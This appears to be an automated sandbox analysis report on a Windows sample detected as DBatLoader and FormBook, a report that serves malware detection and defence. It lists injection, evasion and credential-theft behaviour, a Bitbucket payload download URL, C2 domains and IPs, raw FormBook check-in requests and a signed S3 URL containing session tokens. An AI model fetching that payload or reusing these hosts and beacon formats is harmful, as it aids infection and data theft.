Windows Analysis Report
z10982283782.exe

Overview

General Information

Sample name: z10982283782.exe
Analysis ID: 1539808
MD5: 3138edfdc34f754c5f31088f00ae239d
SHA1: 2251e5474cc5af3619f99ee9c6c0042c10b089a6
SHA256: a1f257ec69c19785880ec7a051e3a4030a2edf055fd2e00f7f7f58c43d563cac
Tags: exeuser-Porcupine
Infos:

Detection

DBatLoader, FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected FormBook
AI detected suspicious sample
Allocates many large memory junks
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Creates a thread in another existing process (thread injection)
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: z10982283782.exe Avira: detected
Found malware configuration
Source: z10982283782.exe Malware Configuration Extractor: DBatLoader {"Download Url": ["https://bitbucket.org/akeem4u/canter/downloads/233_Ltspwqrtysw"]}
Multi AV Scanner detection for submitted file
Source: z10982283782.exe ReversingLabs: Detection: 52%
Source: z10982283782.exe Virustotal: Detection: 54% Perma Link
Yara detected FormBook
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.colorcpl.exe.65f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.1523878243.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2494174819.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1523941389.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2488106328.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491687518.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2491841213.0000000000B80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2492246864.0000000005060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1539377405.0000000025240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses 32bit PE files
Source: z10982283782.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown HTTPS traffic detected: 3.5.3.65:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 3.5.3.65:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 54.231.236.129:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: Binary string: colorcpl.pdbGCTL source: takeown.exe, 0000000D.00000002.2488818800.000000000093E000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492977299.000000000364C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.1830307466.0000000028E9C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: colorcpl.pdb source: takeown.exe, 0000000D.00000002.2488818800.000000000093E000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492977299.000000000364C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.1830307466.0000000028E9C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: takeown.pdbGCTL source: colorcpl.exe, 0000000A.00000003.1492463807.00000000028A1000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1523639255.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000003.1462420383.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ObMmiCfBgqmt.exe, 0000000C.00000002.2488106778.00000000004BE000.00000002.00000001.01000000.00000008.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2489652502.00000000004BE000.00000002.00000001.01000000.00000008.sdmp
Source: Binary string: easinvoker.pdb source: z10982283782.exe, z10982283782.exe, 00000000.00000003.1235919667.000000007FAC0000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236633827.000000007F8B0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: colorcpl.exe, 0000000A.00000003.1431854432.0000000022542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.000000002288E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000003.1430019067.00000000048CE000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.00000000226F0000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492291107.0000000003020000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1531374042.0000000000C3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1523711337.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492291107.00000000031BE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: takeown.pdb source: colorcpl.exe, 0000000A.00000003.1492463807.00000000028A1000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1523639255.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000003.1462420383.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: colorcpl.exe, colorcpl.exe, 0000000A.00000003.1431854432.0000000022542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.000000002288E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000003.1430019067.00000000048CE000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.00000000226F0000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, takeown.exe, 0000000D.00000002.2492291107.0000000003020000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1531374042.0000000000C3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1523711337.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492291107.00000000031BE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdbGCTL source: z10982283782.exe, 00000000.00000002.1351975173.00000000028CF000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1235919667.000000007FAC0000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236423933.00000000028D8000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236633827.000000007F8B0000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A95908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 0_2_02A95908
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0068C5F0 FindFirstFileW,FindNextFileW,FindClose, 13_2_0068C5F0
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 4x nop then pop edi 10_2_06608934
Source: C:\Windows\SysWOW64\takeown.exe Code function: 4x nop then xor eax, eax 13_2_00679B80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 4x nop then pop edi 13_2_006859B1
Source: C:\Windows\SysWOW64\takeown.exe Code function: 4x nop then mov ebx, 00000004h 13_2_00CE04E8

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49878 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:59651 -> 74.48.31.123:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59660 -> 194.58.112.174:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59653 -> 161.97.168.245:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59633 -> 74.48.31.123:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59665 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59658 -> 154.23.184.240:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59650 -> 74.48.31.123:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59664 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:59667 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59661 -> 194.58.112.174:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59668 -> 203.90.227.88:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:59655 -> 161.97.168.245:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59656 -> 154.23.184.240:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59652 -> 161.97.168.245:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59654 -> 161.97.168.245:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59657 -> 154.23.184.240:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59666 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:59659 -> 154.23.184.240:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59644 -> 74.48.31.123:80
Source: Network traffic Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:59662 -> 194.58.112.174:80
Source: Network traffic Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:59663 -> 194.58.112.174:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://bitbucket.org/akeem4u/canter/downloads/233_Ltspwqrtysw
Performs DNS queries to domains with low reputation
Source: DNS query: www.joshcharlesfitness.xyz
Source: DNS query: www.98080753.xyz
Contains functionality to check if a connection to the internet is available
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAE4B8 InternetCheckConnectionA, 0_2_02AAE4B8
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.166.143.48 185.166.143.48
Source: Joe Sandbox View IP Address: 154.23.184.240 154.23.184.240
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View ASN Name: TELUS-3CA TELUS-3CA
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /akeem4u/canter/downloads/233_Ltspwqrtysw HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic HTTP traffic detected: GET /1889f89b-bf3e-4330-a7ab-fccb77ce4890/downloads/a122b37b-2be1-4956-a228-3e44b96626b8/233_Ltspwqrtysw?response-content-disposition=attachment%3B%20filename%3D%22233_Ltspwqrtysw%22&AWSAccessKeyId=ASIA6KOSE3BNA3TNBD6S&Signature=bquajkbDUnHiY6Qk9cEyy3Ji0xM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEE0aCXVzLWVhc3QtMSJIMEYCIQDWLdnMpGGZVnfuf5mZ7tkLhGS%2BHN%2Fi5hrbwc5K5HeekAIhALFcc1ROzTR8B4kcaA2oVW3sq0zTC7bxDYRYDuyXyj6sKrACCLb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMOTg0NTI1MTAxMTQ2IgyNe%2FRStUblqwXyTbkqhAK8BQ1NlXfF77BQxUe%2BLDGJ72hzvISSyyG1nPahXGTPb9H%2F4F2%2F5GlsBuXRyGcOQkj4ERRXbeHiahdKc%2BywbR6YEWoYOH14NAUuJivTj9fBN6WDk7UmQ8nnk5IxunnOohsVHIhsiRtMzjGYE3m%2BT3Nv%2B2LBuAC5kTgwrpgGcGd3z79%2FubqvQWKpCPk5OQo1tvOyZDdGiaMdoJrU%2F%2B%2F6PyCU39h28LMR4%2BdAAh6%2FYzNlkOlxzs7Ih0fOSFaTs1BSOSRuTvP9GixHrOn3THgqHyMm8F1oMbov2tlWw%2BCDNj5ns8S8xb%2BGRMfWJz69PjosPmJKRQvcpZYEVJ%2Fuao%2BBg6rxNrk1bzCkhuK4BjqcAeGCMiJnZekyMuhm2XJ%2FmPZHGuv1mMGkMdY36AKfCoyDFZlLRnUelBbsByQxcf9NuZCZIj5sRzg6N9aafMqZIWX0TejNIhed6dqnVS8HwylTQKvAyrfpMWEXQYcoRuCgC5HI%2BmoxQQqA%2FJoPRSnjgCdSSRSG6OGZM7%2Bk14Fj0UPjRL0yvo%2FNoM0PqoD64CRp88RIYyjGI8Iyik85Wg%3D%3D&Expires=1729661485 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic HTTP traffic detected: GET /akeem4u/canter/downloads/233_Ltspwqrtysw HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic HTTP traffic detected: GET /1889f89b-bf3e-4330-a7ab-fccb77ce4890/downloads/a122b37b-2be1-4956-a228-3e44b96626b8/233_Ltspwqrtysw?response-content-disposition=attachment%3B%20filename%3D%22233_Ltspwqrtysw%22&AWSAccessKeyId=ASIA6KOSE3BNA3TNBD6S&Signature=bquajkbDUnHiY6Qk9cEyy3Ji0xM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEE0aCXVzLWVhc3QtMSJIMEYCIQDWLdnMpGGZVnfuf5mZ7tkLhGS%2BHN%2Fi5hrbwc5K5HeekAIhALFcc1ROzTR8B4kcaA2oVW3sq0zTC7bxDYRYDuyXyj6sKrACCLb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMOTg0NTI1MTAxMTQ2IgyNe%2FRStUblqwXyTbkqhAK8BQ1NlXfF77BQxUe%2BLDGJ72hzvISSyyG1nPahXGTPb9H%2F4F2%2F5GlsBuXRyGcOQkj4ERRXbeHiahdKc%2BywbR6YEWoYOH14NAUuJivTj9fBN6WDk7UmQ8nnk5IxunnOohsVHIhsiRtMzjGYE3m%2BT3Nv%2B2LBuAC5kTgwrpgGcGd3z79%2FubqvQWKpCPk5OQo1tvOyZDdGiaMdoJrU%2F%2B%2F6PyCU39h28LMR4%2BdAAh6%2FYzNlkOlxzs7Ih0fOSFaTs1BSOSRuTvP9GixHrOn3THgqHyMm8F1oMbov2tlWw%2BCDNj5ns8S8xb%2BGRMfWJz69PjosPmJKRQvcpZYEVJ%2Fuao%2BBg6rxNrk1bzCkhuK4BjqcAeGCMiJnZekyMuhm2XJ%2FmPZHGuv1mMGkMdY36AKfCoyDFZlLRnUelBbsByQxcf9NuZCZIj5sRzg6N9aafMqZIWX0TejNIhed6dqnVS8HwylTQKvAyrfpMWEXQYcoRuCgC5HI%2BmoxQQqA%2FJoPRSnjgCdSSRSG6OGZM7%2Bk14Fj0UPjRL0yvo%2FNoM0PqoD64CRp88RIYyjGI8Iyik85Wg%3D%3D&Expires=1729661485 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic HTTP traffic detected: GET /akeem4u/canter/downloads/233_Ltspwqrtysw HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic HTTP traffic detected: GET /1889f89b-bf3e-4330-a7ab-fccb77ce4890/downloads/a122b37b-2be1-4956-a228-3e44b96626b8/233_Ltspwqrtysw?response-content-disposition=attachment%3B%20filename%3D%22233_Ltspwqrtysw%22&AWSAccessKeyId=ASIA6KOSE3BNA3TNBD6S&Signature=bquajkbDUnHiY6Qk9cEyy3Ji0xM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEE0aCXVzLWVhc3QtMSJIMEYCIQDWLdnMpGGZVnfuf5mZ7tkLhGS%2BHN%2Fi5hrbwc5K5HeekAIhALFcc1ROzTR8B4kcaA2oVW3sq0zTC7bxDYRYDuyXyj6sKrACCLb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMOTg0NTI1MTAxMTQ2IgyNe%2FRStUblqwXyTbkqhAK8BQ1NlXfF77BQxUe%2BLDGJ72hzvISSyyG1nPahXGTPb9H%2F4F2%2F5GlsBuXRyGcOQkj4ERRXbeHiahdKc%2BywbR6YEWoYOH14NAUuJivTj9fBN6WDk7UmQ8nnk5IxunnOohsVHIhsiRtMzjGYE3m%2BT3Nv%2B2LBuAC5kTgwrpgGcGd3z79%2FubqvQWKpCPk5OQo1tvOyZDdGiaMdoJrU%2F%2B%2F6PyCU39h28LMR4%2BdAAh6%2FYzNlkOlxzs7Ih0fOSFaTs1BSOSRuTvP9GixHrOn3THgqHyMm8F1oMbov2tlWw%2BCDNj5ns8S8xb%2BGRMfWJz69PjosPmJKRQvcpZYEVJ%2Fuao%2BBg6rxNrk1bzCkhuK4BjqcAeGCMiJnZekyMuhm2XJ%2FmPZHGuv1mMGkMdY36AKfCoyDFZlLRnUelBbsByQxcf9NuZCZIj5sRzg6N9aafMqZIWX0TejNIhed6dqnVS8HwylTQKvAyrfpMWEXQYcoRuCgC5HI%2BmoxQQqA%2FJoPRSnjgCdSSRSG6OGZM7%2Bk14Fj0UPjRL0yvo%2FNoM0PqoD64CRp88RIYyjGI8Iyik85Wg%3D%3D&Expires=1729661485 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic HTTP traffic detected: GET /f2m8/?fvM8Gh=q8u1m2y9j/W78LyjRjBmLFBPluC1hJa5ZcIT7WbQRmUkJn/aUKn129a9SdOjfVpEuogWIbFDr3wrvEdEbURHbL899LelzoXXcWM6JsFHtDa1nH+G65yTIIp51Lx0C7/dwS8TcymTUlcC&DfDx=AFrxfzcH-Ld HTTP/1.1Host: www.joshcharlesfitness.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)
Source: global traffic HTTP traffic detected: GET /dc1u/?fvM8Gh=fFgJrpU7aD7UkZlQpUegXiYX0mHuwd+xKsDAURMBiAqiBmSaSKvvh09Aihxa8ofx/ezcm777pnsov1VcpLBlwmC3Iqy+K+pafl2LF2kBMm3CKkFZyMytkoTfA5EUxo7rNsMcOhPX02Mw&DfDx=AFrxfzcH-Ld HTTP/1.1Host: www.facaicloud.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)
Source: global traffic HTTP traffic detected: GET /eth5/?DfDx=AFrxfzcH-Ld&fvM8Gh=rP5P45xZZ1/7FcUVVUJeza+IVqMoIQCjuRWKRMBKl26wwcm/v5roWtgm33BJF8xpb4kfp7QdHQmzbzTt1acSQ4mCbwyezktofLwADktY5A3eXEgsMSOExa06ByFNIL6LLeLE9sVmxY4B HTTP/1.1Host: www.98080753.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)
Source: global traffic HTTP traffic detected: GET /u071/?fvM8Gh=bBJc85dRrz6VYFP8GwFXoZFtfmuQO+iyQ8ywsDhPMj3PkpaAJncRlOwVGrcs7/oiPMEubiNmeHgqiRXMS1H3OK+Zq7VhNcw4P6d6BN/xAJTWHzjowpdO9JjlTFWXwfVVhN461s++G65d&DfDx=AFrxfzcH-Ld HTTP/1.1Host: www.wcp58.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)
Source: global traffic HTTP traffic detected: GET /muj9/?fvM8Gh=hgXo7easQgYwzYM50VVsBbrTpvYmtRva0zGF6x/wVx5xdFtAh4cdAJarj8a6/VZ0fLckawx66xls7kEuRRfHglkiUnpuSxGF6OqSwfVcl2N6vBJ8grdIeIpeinnOhUKuNcVRLIFrNYJr&DfDx=AFrxfzcH-Ld HTTP/1.1Host: www.cpamerix.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)
Source: global traffic HTTP traffic detected: GET /t67j/?fvM8Gh=KowgBu3DXf0G7hBLtaH8s8ZzKm+VG/tpKZ1Q7eDBR0ArwNxjdNGLI+rTTcfRvEyEYs27WEZYXeTRVuyNENDuSquLWx1vE6gNEX6tkQ0IxcS5dAyUTa1RZ/bXBmbIS1WdqDLnMr1sBa9m&DfDx=AFrxfzcH-Ld HTTP/1.1Host: www.lotus9.lifeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)
Source: global traffic DNS traffic detected: DNS query: bitbucket.org
Source: global traffic DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic DNS traffic detected: DNS query: www.joshcharlesfitness.xyz
Source: global traffic DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: www.facaicloud.top
Source: global traffic DNS traffic detected: DNS query: www.98080753.xyz
Source: global traffic DNS traffic detected: DNS query: www.wcp58.top
Source: global traffic DNS traffic detected: DNS query: www.cpamerix.online
Source: global traffic DNS traffic detected: DNS query: www.lotus9.life
Source: global traffic DNS traffic detected: DNS query: www.g4s7e5.biz
Source: unknown HTTP traffic detected: POST /dc1u/ HTTP/1.1Host: www.facaicloud.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Origin: http://www.facaicloud.topContent-Length: 219Cache-Control: max-age=0Connection: closeContent-Type: application/x-www-form-urlencodedReferer: http://www.facaicloud.top/dc1u/User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)Data Raw: 66 76 4d 38 47 68 3d 53 48 49 70 6f 65 59 2b 53 54 54 53 6b 35 68 33 6a 6a 33 69 52 58 74 6e 73 33 44 67 39 34 43 61 4d 66 4b 6a 55 56 64 62 74 41 6d 6b 48 79 58 42 57 65 2f 42 78 33 4e 4b 6b 52 4a 52 35 49 7a 2f 31 4d 7a 59 76 64 4c 43 74 46 77 39 74 6a 63 6c 6c 62 52 48 69 56 43 35 48 4c 44 61 51 70 45 43 42 57 53 6d 59 33 51 72 4a 7a 4b 43 4a 30 78 6d 38 74 4c 58 71 62 37 4c 44 4b 63 53 77 59 36 58 48 73 41 4e 4a 67 69 41 78 44 63 4a 62 76 48 57 76 76 6e 75 58 51 6e 38 65 37 41 65 41 41 38 49 2b 71 41 4b 79 4d 45 61 73 58 70 36 77 4a 70 